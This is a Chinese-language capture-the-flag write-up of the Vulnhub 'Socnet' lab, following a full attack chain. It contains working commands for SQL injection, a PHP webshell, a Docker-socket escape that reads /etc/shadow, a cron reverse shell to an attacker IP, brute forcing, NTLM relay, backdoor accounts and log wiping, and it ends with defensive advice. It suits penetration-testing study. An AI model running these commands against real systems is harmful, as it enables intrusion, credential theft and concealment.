1. 项目概述一次完整的渗透测试实战演练最近在Vulnhub上发现一个名为“Socnet”的靶机它模拟了一个从容器逃逸到内网横向移动的完整攻击链场景。这不仅仅是又一个CTF挑战它高度还原了现代云原生和混合网络环境中攻击者可能采取的典型路径。很多朋友在接触渗透测试时常常把各个知识点孤立看待比如端口扫描归端口扫描Web漏洞归Web漏洞提权归提权内网渗透又是另一套。但这个靶机巧妙地将它们串联了起来形成了一个有逻辑递进关系的“故事线”你首先需要攻破一个暴露在公网的Web应用然后利用其进入一个Docker容器接着从容器内部突破到宿主机最后以宿主机为跳板对内网的其他系统进行探测和攻击。整个过程环环相扣缺一不可非常考验综合能力和对攻击链的全局理解。我花了一个周末的时间从零开始完整地走通了这条攻击链。过程中踩了不少坑也总结出一些在常规教程里不太会提到的细节和技巧。比如在Docker逃逸环节如何快速判断可利用的逃逸向量在内网信息收集时如何高效地梳理网络拓扑和定位关键资产。这篇文章我就把这次实战的完整过程、技术细节、工具使用的心得以及那些“踩坑”后才知道的注意事项毫无保留地分享出来。无论你是正在学习渗透测试的新手还是想巩固内网知识的老兵相信都能从中获得一些直接的、可复现的参考。2. 靶机环境搭建与初始信息收集2.1 靶机获取与网络配置Vulnhub上的靶机通常以OVA或压缩包形式提供。下载“Socnet”后我使用VMware Workstation进行导入。这里第一个需要注意的点是网络模式的选择。为了模拟从外部攻击者到内网渗透的真实场景我建议将靶机的网络适配器设置为“NAT模式”。在VMware的NAT模式下虚拟机会被分配一个与宿主机不同网段的IP地址例如192.168.xxx.xxx并且可以通过宿主机进行NAT转换访问外网。同时VMware会默认为这个NAT网络创建一个虚拟的DHCP服务器和虚拟网卡VMnet8。我们的Kali攻击机也需要连接到同一个VMnet8网络这样才能与靶机处于同一广播域进行直接的网络扫描和攻击。启动靶机后首要任务是获取它的IP地址。靶机通常不会直接显示IP我们需要通过ARP扫描或利用Netdiscover工具来发现它。我习惯先用一个快速命令来探测活跃主机sudo netdiscover -r 192.168.1.0/24这里的192.168.1.0/24需要替换成你VMnet8网卡所在的真实网段。你可以通过在Kali中运行ip addr show或ifconfig来查看VMnet8或类似命名的接口的IP地址从而确定网段。很快扫描结果中会出现一个陌生的MAC地址和IP那就是我们的目标靶机。记下这个IP地址假设为192.168.1.105。注意有时Netdiscover可能因为网络环境复杂而漏扫。一个备用的方法是利用Nmap进行ping扫描sudo nmap -sn 192.168.1.0/24。-sn参数表示只进行主机发现ping扫描不进行端口扫描速度很快。对比扫描结果中出现的、非你已知设备如你的宿主机、路由器、其他虚拟机的IP基本就是靶机。2.2 全面的端口与服务探测拿到IP后下一步就是进行全面的端口扫描摸清靶机对外开放了哪些服务这是渗透测试的“敲门砖”。我通常不会一上来就用最激进的扫描而是分步骤进行既避免遗漏也避免过早触发可能的防御机制。首先进行一次快速的全端口扫描使用-p-参数指定所有65535个端口-T4加快速度--min-rate 1000设置最小发包速率以保证速度sudo nmap -p- -T4 --min-rate 1000 192.168.1.105这次扫描的目的是快速找出所有开放的端口号。等待扫描完成后假设我们发现了22,80,5000三个端口开放。接下来针对这些开放的端口进行更精细化的版本和服务探测。这是关键一步因为知道服务的具体版本号才能精准地搜索对应的漏洞。sudo nmap -p22,80,5000 -sV -sC -O 192.168.1.105 -oN nmap_detail.txt参数解释-p22,80,5000: 只扫描我们刚才发现的开放端口。-sV: 探测服务/版本信息。-sC: 使用默认的Nmap脚本进行扫描这些脚本能进行一些基本的漏洞检测和信息收集如HTTP标题获取、SSH协议类型等。-O: 尝试进行操作系统识别。-oN nmap_detail.txt: 将详细的扫描结果输出到文件方便后续查阅。扫描报告可能会显示端口22 (SSH): 运行着OpenSSH 7.6p1。这个版本相对较新需要关注是否有已知的严重漏洞如用户枚举、认证绕过等但通常不是最优先的突破口。端口80 (HTTP): 运行着一个Apache httpd 2.4.29。这是我们的重点目标Web应用是常见的入口点。端口5000 (HTTP): 运行着一个Werkzeug httpd 0.14.1 (Python Flask)。这是一个Python的轻量级Web服务器通常用于开发环境或微服务。在实战中非标准端口非80/443的Web服务往往因为管理疏忽而存在更多安全问题需要重点关注。2.3 Web应用初步侦查与目录爆破既然有两个Web服务80和5000我们自然要从它们入手。首先用浏览器访问http://192.168.1.105。打开页面可能是一个简单的企业门户、博客系统或者是一个登录界面。用浏览器的开发者工具F12查看页面源代码寻找注释、隐藏表单、JS文件中的敏感信息如API路径、测试账号等。同时使用工具对网站目录和文件进行暴力枚举。我常用的是gobuster它速度快字典丰富。gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,json,bak参数解释dir: 指定进行目录扫描模式。-u: 指定目标URL。-w: 指定字典文件路径。common.txt是一个常用的基础字典。-x: 指定需要尝试的文件扩展名。这里添加了常见的Web文件后缀。对端口5000的服务也执行同样的操作gobuster dir -u http://192.168.1.105:5000 -w /usr/share/wordlists/dirb/common.txt -x py,txt,json注意这里扩展名增加了py因为Flask应用常用Python文件。在扫描过程中保持浏览器访问和工具扫描并行。你可能会发现一些有趣的路径比如/admin,/login,/upload,/api,/backup,/robots.txt等。robots.txt文件有时会暴露出不想被爬虫抓取的目录这些目录往往包含管理后台或敏感文件。3. 漏洞利用与初始立足点获取3.1 Web漏洞发现与利用假设通过对端口80的Web应用进行目录扫描和手动测试我们发现了一个存在SQL注入漏洞的登录页面例如/login.php。使用Burp Suite拦截登录请求将用户名参数如user替换为经典的注入测试载荷 or 11如果返回了与其他错误不同的响应例如登录成功跳转或显示了数据库错误信息则证实存在漏洞。为了高效利用我通常会使用sqlmap进行自动化注入和数据提取。首先将Burp拦截到的HTTP请求保存到一个文件比如req.txt然后运行sqlmap -r req.txt --batch --dbs参数解释-r req.txt: 从文件中读取HTTP请求。--batch: 以非交互模式运行所有提示都选择默认选项适合自动化。--dbs: 尝试枚举数据库管理系统中有哪些数据库。如果成功sqlmap会列出数据库名比如information_schema,mysql,socnetdb等。我们的目标显然是业务数据库socnetdb。接着枚举该数据库中的表sqlmap -r req.txt -D socnetdb --tables --batch找到用户表后例如users进一步dump表中的数据sqlmap -r req.txt -D socnetdb -T users --dump --batch这样我们很可能就获取到了网站后台的管理员用户名和密码可能是明文也可能是哈希值。如果密码是哈希如MD5可以尝试在线网站如cmd5.com或本地用hashcat进行破解。用得到的凭证成功登录后台后我们需要寻找获取Webshell或命令执行的方法。常见途径包括文件上传功能后台是否有上传图片、文档的地方尝试上传一个包含PHP代码的图片马使用exiftool或直接在文件末尾追加代码或者直接上传.php后缀的文件如果服务器未做严格过滤就可能成功。配置修改/插件安装有些CMS后台允许编辑模板文件我们可以将恶意代码写入一个.php模板文件中。命令注入点后台是否有“ping测试”、“数据库备份”等功能这些功能可能直接调用系统命令如果参数未过滤就可能存在命令注入。假设我们在后台找到一个不安全的文件上传点成功上传了一个一句话木马文件shell.php内容为?php system($_REQUEST[cmd]);?。访问这个文件并通过URL参数?cmdid来执行命令如果返回了当前用户的uid等信息说明我们获得了Webshell取得了初始的命令执行权限。3.2 容器环境感知与权限提升准备通过Webshell执行一些基础信息收集命令whoami uname -a cat /etc/passwd df -h ls -la /whoami告诉我们当前是www-data用户权限很低。uname -a显示内核版本。但最关键的是检查我们是否在容器内。有几个快速判断的方法检查/.dockerenv文件ls -la /.dockerenv。如果这个文件存在几乎可以肯定是在Docker容器内。检查/proc/1/cgroupcat /proc/1/cgroup。如果输出内容中包含docker、kubepods等字样也说明在容器内。检查挂载点mount。查看是否有明显的Docker卷挂载。检查进程ps auxf。查看进程树如果PID 1的进程是一个简单的应用进程如python、node而不是systemd或init也暗示是容器环境。在我们的场景中很可能发现/.dockerenv文件存在并且/proc/1/cgroup里包含docker字符串确认了我们处于一个Docker容器中。这意味着我们当前的权限被限制在容器这个“沙箱”里。我们的下一个目标就是实现“Docker逃逸”即突破容器隔离获取到宿主机Host的权限。4. Docker逃逸技术深度剖析与实战4.1 Docker逃逸原理与常见向量Docker逃逸的本质是利用容器配置缺陷、内核漏洞或Docker守护进程Docker Daemon的权限问题来打破命名空间Namespace和控制组Cgroup等隔离机制从而在宿主机上执行代码。常见的逃逸向量包括特权模式容器--privileged这是最危险的一种配置。以--privileged标志运行的容器几乎拥有对宿主机的所有能力可以轻松挂载宿主机根文件系统并进行操作。挂载宿主机敏感目录如果启动容器时将宿主机根目录/、/etc、/var/run/docker.sock等敏感路径挂载到了容器内部就为逃逸创造了条件。特别是/var/run/docker.sock它是Docker守护进程的Unix套接字容器内进程如果能够访问它就可以直接向Docker守护进程发送API命令从而在宿主机上启动新的容器通常是一个特权容器实现逃逸。内核漏洞如著名的Dirty COWCVE-2016-5195、runc容器逃逸漏洞CVE-2019-5736, CVE-2021-30465等。利用这些漏洞可以从容器内直接提权到宿主机root。SYS_ADMIN等危险CapabilitiesDocker默认会移除一些危险的内核能力Capabilities但如果启动容器时额外添加了SYS_ADMIN、SYS_MODULE等容器就可能具备加载内核模块、挂载文件系统等危险能力。在实战中我们首先需要判断当前容器环境存在哪种逃逸可能性。通过Webshell执行信息收集命令# 检查是否以特权模式运行 cat /proc/self/status | grep CapEff # 特权容器的CapEff值通常是 0000003fffffffff 或类似的全权限值。也可以简单检查 /dev 目录下是否有很多设备文件。 ls -la /dev/ # 检查挂载情况寻找宿主机路径 mount cat /proc/mounts # 特别留意是否有 /, /etc, /var/run/docker.sock 等路径被挂载进来。 # 检查内核版本看是否有已知漏洞 uname -a4.2 利用挂载的Docker Socket实现逃逸假设通过mount命令我们惊喜地发现容器内挂载了/var/run/docker.sock。这是最经典、也最“优雅”的一种逃逸方式。其原理是Docker守护进程监听在Unix套接字/var/run/docker.sock上任何有权限读写这个套接字的进程都可以通过Docker API向守护进程发送指令。由于守护进程以root权限运行这些指令就具备了在宿主机上执行的能力。我们在容器内虽然只是www-data用户但如果这个挂载的sock文件权限设置不当例如rw-rw-rw-或者我们当前用户属于可以访问它的组我们就能利用它。首先检查sock文件的权限和所属组ls -la /var/run/docker.sock如果显示类似srw-rw---- 1 root docker意味着所有属于docker组的用户都有读写权限。我们需要检查当前用户是否在docker组内id如果id命令的输出中包含docker组那么逃逸条件就成熟了。即使不在docker组如果文件权限是666rw-rw-rw-任何用户都可读写那条件更直接。接下来我们需要在容器内与Docker守护进程通信。最直接的方法是安装Docker客户端docker命令但容器内可能没有。更通用的方法是使用任何能发送HTTP请求的工具因为Docker API本质上是RESTful的。我们可以使用curl。测试连接性curl --unix-socket /var/run/docker.sock http://localhost/version如果返回一串JSON包含了Docker版本信息说明API通信成功。创建一个新的特权容器并挂载宿主机根目录 我们需要构造一个POST请求来创建容器。这里提供一个使用curl的完整示例。我们创建一个配置为特权模式、并挂载宿主机/目录到容器内/mnt目录的容器。curl -X POST -H Content-Type: application/json \ --unix-socket /var/run/docker.sock \ -d { Image: alpine:latest, Cmd: [sh], HostConfig: { Privileged: true, Binds: [/:/mnt] } } \ http://localhost/containers/create?nameevil_container这个命令会返回一个JSON其中包含新创建容器的ID。启动这个容器curl -X POST --unix-socket /var/run/docker.sock http://localhost/containers/evil_container/start在容器内执行命令 现在我们可以通过Docker API的exec端点在这个新创建的、拥有特权并挂载了宿主机根目录的evil_container内执行命令。例如我们想查看宿主机的/etc/shadow文件# 首先创建exec实例 EXEC_ID$(curl -s -X POST -H Content-Type: application/json \ --unix-socket /var/run/docker.sock \ -d { AttachStdin: false, AttachStdout: true, AttachStderr: true, Tty: false, Cmd: [cat, /mnt/etc/shadow] } \ http://localhost/containers/evil_container/exec | jq -r .Id) # 然后启动这个exec实例获取输出 curl -s -X POST -H Content-Type: application/json \ --unix-socket /var/run/docker.sock \ -d {Detach: false, Tty: false} \ http://localhost/exec/$EXEC_ID/start注意上面的命令用到了jq来解析JSON。如果容器内没有jq可以手动从第一次curl的返回结果中提取Id字段的值。实操心得在实际操作中直接手敲这么长的curl命令容易出错。我的做法是先在攻击机Kali上写好这些命令然后通过Webshell的echo命令将多行内容写入容器内的一个脚本文件如/tmp/escape.sh再赋予执行权限并运行。这样更可靠。另外如果容器内没有curl可以尝试用wget、nc甚至用编程语言如Python来发送HTTP请求思路是一样的。通过这种方式我们成功读取了宿主机的/etc/shadow文件这标志着Docker逃逸成功我们获得了在宿主机上读取任意文件的能力。接下来我们可以进一步尝试写入文件比如写入SSH公钥或者直接执行命令来获取一个反向Shell从而在宿主机上获得一个更稳定的交互式会话。5. 宿主机权限巩固与内网侦察5.1 建立持久化反向Shell通过Docker API执行命令虽然有效但每次操作都需要构造复杂的HTTP请求不方便进行后续的内网渗透。我们需要在宿主机上建立一个持久的、交互式的反向Shell连接。我们可以利用刚才的逃逸能力在宿主机上写入一个定时任务Cron Job或者启动一个系统服务来连接我们的攻击机。这里以写入Cron任务为例因为它相对简单通用。首先在攻击机KaliIP假设为192.168.1.100上监听一个端口nc -lvnp 4444然后通过Docker API在宿主机上创建计划任务每分钟或每几分钟执行一次连接命令。我们需要将命令写入/etc/crontab或/var/spool/cron/root等位置。这里选择/etc/crontab因为它是一个系统级的crontab文件。使用之前的curl命令执行宿主机命令写入cron任务# 注意下面的命令是在容器内通过Docker API对宿主机执行的 # 假设我们已经通过之前的步骤获取了在宿主机执行命令的能力这里简化为一个概念性命令 echo * * * * * root /bin/bash -c /bin/bash -i /dev/tcp/192.168.1.100/4444 01 /mnt/etc/crontab这条命令会在宿主机的/etc/crontab文件末尾追加一行意思是每分钟以root身份执行一个反向Shell命令连接到我们攻击机的4444端口。等待一分钟左右攻击机的nc监听器就会收到来自宿主机的反向Shell连接并且是root权限现在我们有了一个在宿主机上的稳定立足点。注意事项这种方法动静很大会每分钟建立一次连接并且会修改系统关键文件在真实环境中极易被检测。在靶机练习中可以使用但在实际渗透测试中需要采用更隐蔽的持久化方式如写入~/.ssh/authorized_keys、创建隐蔽的后门服务或利用LD_PRELOAD等。拿到Shell后第一件事就是清理痕迹删除添加的cron任务。5.2 宿主机信息收集与网络拓扑探测获得宿主机root Shell后我们需要进行深入的信息收集为内网渗透做准备。这就像特种部队空降到敌后首先要摸清周围环境。系统信息uname -a # 内核版本判断是否有内核漏洞可利用进行二次提权虽然已是root但了解系统有助后续 cat /etc/os-release # 系统发行版信息 hostname # 主机名 history # 查看命令历史可能发现管理员的操作习惯、密码等信息需root权限用户与权限信息cat /etc/passwd # 所有用户 cat /etc/shadow # 用户密码哈希现在可以读了 cat /etc/group # 用户组信息 sudo -l # 查看当前用户如果是非root用户提权上来的能以sudo执行哪些命令进程与服务ps auxef # 查看所有进程寻找数据库服务MySQL, PostgreSQL、中间件Redis, Memcached、CI/CD工具Jenkins, GitLab等这些可能是内网的其他目标或包含凭证。 netstat -tulnp 或 ss -tulnp # 查看网络连接和监听端口发现宿主机上除了已知的22,80,5000还有哪些服务监听在本地127.0.0.1或其他网卡上。 systemctl list-units --typeservice # 查看所有系统服务网络配置与邻接主机发现ip addr show 或 ifconfig # 查看所有网络接口和IP地址。关键是要发现除了我们已知的NAT网卡如eth0: 192.168.1.105之外是否有其他网卡如eth1, docker0, br-xxx。 ip route show 或 route -n # 查看路由表了解有哪些网段是直接可达的。 arp -a 或 ip neigh show # 查看ARP缓存发现同一广播域内的其他主机。 cat /etc/resolv.conf # 查看DNS服务器可能指向内网的DNS从而推断内网域结构。 cat /etc/hosts # 查看静态主机名解析可能包含其他内网服务器的主机名和IP。假设通过ip addr show我们发现宿主机还有一张网卡eth1IP地址是172.16.5.10。ip route show显示有一条到172.16.5.0/24网段的路由。这很可能就是靶机模拟的“内网”环境。我们的目标从这台宿主机现在可称为“跳板机”或“攻击机2号”出发向172.16.5.0/24这个内网段进行渗透。6. 内网横向移动技术与实战6.1 内网扫描与资产发现现在我们以宿主机172.16.5.10为据点对内网网段172.16.5.0/24进行扫描。由于宿主机上可能没有完整的渗透测试工具集我们需要上传一些轻量级工具或者利用系统自带的工具进行扫描。方法一使用系统自带工具nmap如果宿主机安装了nmap那最好不过。可以直接扫描。pingbash脚本如果没有nmap可以写一个简单的bash循环进行ping扫描发现存活主机。for i in {1..254}; do ping -c 1 -W 1 172.16.5.$i done | grep fromnetcat可以用来进行简单的端口扫描TCP Connect扫描。for port in {1..1000}; do timeout 1 bash -c echo /dev/tcp/172.16.5.1/$port 2/dev/null echo 172.16.5.1:$port is open; done方法二上传静态编译的工具更高效的方法是上传一个静态编译的nmap二进制文件。先在Kali上找到它locate nmap | grep static通常路径像/usr/share/nmap/nmap。然后通过反向Shell的cat命令或简单的HTTP服务上传到靶机。在Kali上启动一个临时的HTTP服务python3 -m http.server 8080在靶机宿主机Shell中下载nmapwget http://192.168.1.100:8080/nmap-static -O /tmp/nmap chmod x /tmp/nmap然后使用它进行扫描/tmp/nmap -sn 172.16.5.0/24 # 主机发现 /tmp/nmap -sS -p 1-1000 172.16.5.1-254 # 对发现的IP进行SYN端口扫描假设扫描发现内网中有两台活跃主机172.16.5.1可能是网关或路由器。172.16.5.100开放了80端口HTTP和3306端口MySQL。6.2 针对内网服务的漏洞利用现在我们的目标转向内网主机172.16.5.100。由于我们处在内网中可以直接访问它的服务。Web服务侦察在跳板机上我们可以用curl或wget访问http://172.16.5.100查看是什么应用。或者我们可以将跳板机的流量通过SSH隧道或代理工具如reGeorg,EarthWorm转发回我们的Kali攻击机以便使用Kali上更强大的图形化工具如Burp Suite进行测试。这里介绍一个简单的SSH动态端口转发方法前提是跳板机上有SSH服务且我们能连接。在跳板机上执行ssh -D 1080 -N -f userlocalhost这会在跳板机上创建一个SOCKS5代理监听1080端口。然后在Kali的浏览器或Burp Suite中配置代理为跳板机的IP和1080端口这样我们的流量就会通过跳板机访问内网172.16.5.100的Web服务。MySQL服务攻击发现开放了3306端口很可能是MySQL数据库。我们可以尝试弱口令爆破。在跳板机上使用hydrahydra -l root -P /usr/share/wordlists/rockyou.txt mysql://172.16.5.100如果跳板机没有hydra可以上传静态编译版本或者用简单的bash脚本配合mysql客户端尝试。更常见的情况是在之前的信息收集中我们可能已经从Web应用的配置文件中找到了数据库连接密码如config.php,.env文件这些密码很可能被复用假设我们通过某种方式如爆破、配置文件泄露获得了MySQL的root密码。连接进去后可以尝试利用MySQL的INTO OUTFILE功能写入Webshell如果知道Web目录路径或者利用MySQL的UDFUser Defined Function提权到系统权限。在MySQL中执行select version; select plugin_dir; show variables like %secure_file_priv%;查看secure_file_priv的值如果为空或指向一个目录则有可能写入文件。凭证复用与密码喷洒在渗透测试中凭证复用Password Reuse和密码喷洒Password Spraying是极其有效的横向移动手段。我们在外网Web应用、跳板机上收集到的用户名、密码、哈希一定要整理成清单用于尝试登录内网的其他服务如SSH, RDP, SMB, MySQL, PostgreSQL等。可以使用工具如CrackMapExec针对SMB/WinRM、Medusa、Hydra进行自动化尝试。6.3 利用跳板机进行中继攻击如果内网环境是一个Windows域环境我们可能会利用到诸如LLMNR/NBT-NS投毒、SMB中继Relay等攻击。这些攻击通常需要攻击机位于目标内网同一网段。此时我们的跳板机宿主机就成为了一个完美的“中继站”。我们可以将攻击工具如responder,impacket套件中的ntlmrelayx.py上传到跳板机上运行。例如运行responder监听内网网卡捕获NetNTLM哈希然后使用ntlmrelayx.py将捕获的哈希中继到特定的目标机器如域控制器如果中继成功就能在该目标机器上执行命令。这类攻击对环境和配置有一定要求如SMB签名需关闭但一旦成功威力巨大。在靶机环境中可能会设置这样的场景来练习。7. 权限维持、数据窃取与清理痕迹7.1 权限维持技术在成功渗透多台内网主机后我们需要建立持久的访问通道以防现有的连接如反向Shell中断。SSH公钥注入这是Linux/Unix系统上最优雅、最隐蔽的后门之一。获取目标主机包括跳板机和内网其他Linux主机的root或用户权限后将自己的SSH公钥id_rsa.pub追加到对应用户家目录下的~/.ssh/authorized_keys文件中。echo ssh-rsa AAAAB3NzaC1yc2E... your-public-key /root/.ssh/authorized_keys之后就可以直接用私钥免密登录。创建后门账户在Linux上添加一个具有sudo权限的隐藏用户在Windows上添加一个隐藏的管理员账户。Linux在/etc/passwd中添加一个UID为0root的用户但使用一个不常见的用户名和/bin/false的shell避免在who等命令中显示。echo backdoor:x:0:0:root:/root:/bin/false /etc/passwd echo backdoor:*:19296:0:99999:7::: /etc/shadow # 设置一个无法直接登录的密码哈希 # 更推荐的做法是设置一个强密码然后通过su切换。Windows使用net user命令添加用户并加入管理员组或使用wmic等工具。计划任务与系统服务如前所述利用cron或systemd创建定时反向连接或监听后门。Web后门在已经控制的Web服务器上留下一个加密的、混淆的Webshell作为备用入口。7.2 数据窃取与敏感信息收集渗透的最终目的往往是获取敏感数据。需要系统性地搜索以下信息配置文件*.php,*.yml,*.properties,*.env,*.config等寻找数据库密码、API密钥、加密密钥。数据库文件直接dump整个MySQL、PostgreSQL数据库。查找SQLite文件.db,.sqlite。用户目录/home/*,C:\Users\*寻找*.txt,*.docx,*.xlsx,*.pdf以及Desktop,Documents,Downloads目录。备份文件*.bak,*.tar.gz,*.zip,*.7z。版本控制.git/,.svn/目录可能泄露源代码和历史记录。密码管理器与浏览器数据寻找kwallet,gnome-keyring, 浏览器Login Data文件等。可以使用工具如linpeas.shLinux或winpeas.batWindows进行自动化信息收集它们能快速定位常见的安全隐患和敏感文件。7.3 清理入侵痕迹在渗透测试的最后阶段或真实攻击中为了隐匿需要清理日志避免被管理员发现。主要清理以下几类日志命令历史# 清理当前用户的命令历史 history -c # 清除内存中的历史 rm ~/.bash_history # 删除历史文件 ln -s /dev/null ~/.bash_history # 或者将其链接到/dev/null使后续命令不记录系统日志/var/log/auth.log,/var/log/secure(SSH登录日志)/var/log/syslog,/var/log/messages(系统通用日志)/var/log/apache2/*,/var/log/nginx/*(Web访问日志)/var/log/mysql/*(数据库日志) 使用sed或直接删除相关行但要注意操作本身也会被记录。更高级的做法是使用日志注入工具或直接停止日志服务但可能引起怀疑。Web访问日志删除包含你IP地址或攻击载荷的访问记录。文件时间戳使用touch命令修改你创建或修改过的后门文件的时间戳使其与周围文件保持一致。重要提醒在授权的渗透测试或CTF比赛中清理痕迹通常不是必须的甚至是不被允许的以便主办方审查。但在学习过程中了解这些技术是必要的。在真实环境中未经授权的系统访问和修改日志是违法行为。8. 总结与防御建议思考走完从外网Web入侵到Docker逃逸再到内网横向移动的完整链条我们可以清晰地看到一个微小的入口点如一个SQL注入是如何被层层利用最终导致整个内网沦陷的。这凸显了纵深防御Defense in Depth的重要性。从防御视角回顾整个攻击链可以得出以下几点关键建议对外服务最小化严格过滤对外开放的端口和服务。非必要的服务绝不暴露在公网。Web应用要做好输入验证、输出编码使用参数化查询防止SQL注入对文件上传进行严格的白名单校验。容器安全加固绝不使用--privileged标志运行容器。避免将宿主机敏感目录如/,/etc,/var/run/docker.sock挂载到容器。如果必须挂载sock务必设置严格的权限如chmod 660 /var/run/docker.sock chown root:docker /var/run/docker.sock并确保容器内用户不在docker组。使用非root用户运行容器内的进程Dockerfile中使用USER指令。及时更新Docker引擎和容器镜像修复已知漏洞。网络隔离与分段将不同的业务系统划分到不同的VLAN或子网中并通过防火墙策略严格控制东西向流量服务器之间的流量。确保即使一台服务器被攻陷攻击者也不能轻易访问到核心业务区如数据库服务器。内网安全监控部署IDS/IPS、网络流量分析NTA和端点检测与响应EDR系统监控异常的网络连接如内网主机突然对大量IP进行端口扫描、可疑的进程行为如容器内进程尝试访问/etc/shadow和特权命令的执行。凭证安全管理强制使用强密码启用多因素认证MFA。严禁密码复用对服务账户使用复杂的随机密码并定期更换。使用集中化的密钥管理服务避免在配置文件中硬编码密码。最小权限原则为每个服务、每个账户分配完成任务所需的最小权限。数据库用户不应有FILE权限应用程序账户不应有sudo权限。这次靶机实战就像一次完整的“攻防演练”它不仅锻炼了我们的攻击技术更重要的是让我们能从攻击者的视角理解防御的薄弱环节在哪里。真正的安全不在于堵住某一个漏洞而在于构建一个即使某个点被突破也能将损失控制在最小范围的弹性体系。